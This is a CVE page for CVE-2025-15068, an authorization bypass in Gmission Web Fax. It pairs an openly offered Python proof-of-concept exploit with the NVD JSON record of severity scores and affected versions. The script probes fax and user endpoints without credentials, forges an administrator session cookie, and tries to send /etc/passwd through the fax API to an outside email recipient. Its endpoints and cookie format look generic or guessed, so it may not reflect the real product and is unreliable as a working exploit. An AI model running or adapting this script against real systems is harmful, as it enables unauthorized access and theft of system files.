CVE-2025-15068

# CVE-2025-15068 PoC - Gmission Web Fax Authorization Bypass # This PoC demonstrates the missing authorization vulnerability import requests import json TARGET_URL = "http://target-server:8080" CVE_ID = "CVE-2025-15068" def exploit_missing_authorization(): """ Exploit for Missing Authorization vulnerability in Gmission Web Fax Allows Authentication Abuse and Session Credential Falsification """ print(f"[*] Exploiting {CVE_ID}") print(f"[*] Target: {TARGET_URL}") # Step 1: Identify vulnerable endpoints (no authorization check) vulnerable_endpoints = [ "/api/fax/send", "/api/fax/list", "/api/fax/download", "/api/user/profile", "/api/session/validate" ] # Step 2: Attempt unauthorized access without authentication print("\n[+] Step 1: Testing unauthorized access to protected endpoints") for endpoint in vulnerable_endpoints: url = f"{TARGET_URL}{endpoint}" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # No authentication headers - testing if authorization is enforced try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[VULN] {endpoint} - Accessible without authentication") print(f"[VULN] Response: {response.text[:200]}") elif response.status_code == 401: print(f"[SAFE] {endpoint} - Requires authentication") except Exception as e: print(f"[ERROR] {endpoint} - {str(e)}") # Step 3: Test session credential falsification print("\n[+] Step 2: Testing session credential falsification") forged_session = { "session_id": "forged_session_12345", "user_id": "admin", "role": "administrator", "authenticated": True } headers_with_forged_session = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "Cookie": f"session={json.dumps(forged_session)}" } url = f"{TARGET_URL}/api/user/profile" try: response = requests.get(url, headers=headers_with_forged_session, timeout=10) if response.status_code == 200: print(f"[VULN] Session falsification successful - gained admin access") print(f"[VULN] Response: {response.text}") except Exception as e: print(f"[ERROR] {str(e)}") # Step 4: Perform unauthorized fax operations print("\n[+] Step 3: Attempting unauthorized fax operations") fax_data = { "recipient": "[email protected]", "attachment": "/etc/passwd", "action": "send" } url = f"{TARGET_URL}/api/fax/send" try: response = requests.post(url, json=fax_data, headers=headers, timeout=10) if response.status_code == 200: print(f"[VULN] Unauthorized fax operation successful") except Exception as e: print(f"[ERROR] {str(e)}") if __name__ == "__main__": exploit_missing_authorization()

{"cve": {"id": "CVE-2025-15068", "sourceIdentifier": "09832df1-09c1-45b4-8a85-16c601d30feb", "published": "2025-12-29T06:15:51.533", "lastModified": "2026-01-13T05:16:06.463", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Gmission Web Fax allows Authentication Abuse, Session Credential Falsification through Manipulation.This issue affects Web Fax: from 3.0 before 3.0.1"}], "metrics": {"cvssMetricV40": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "09832df1-09c1-45b4-8a85-16c601d30feb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gmission:web_fax:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0", "versionEndExcluding": "4.0", "matchCriteriaId": "F9565554-68AD-41A7-91BE-29B70C13B9D9"}]}]}], "references": [{"url": "https://www.gmission.co.kr/fax1", "source": "09832df1-09c1-45b4-8a85-16c601d30feb", "tags": ["Product"]}]}}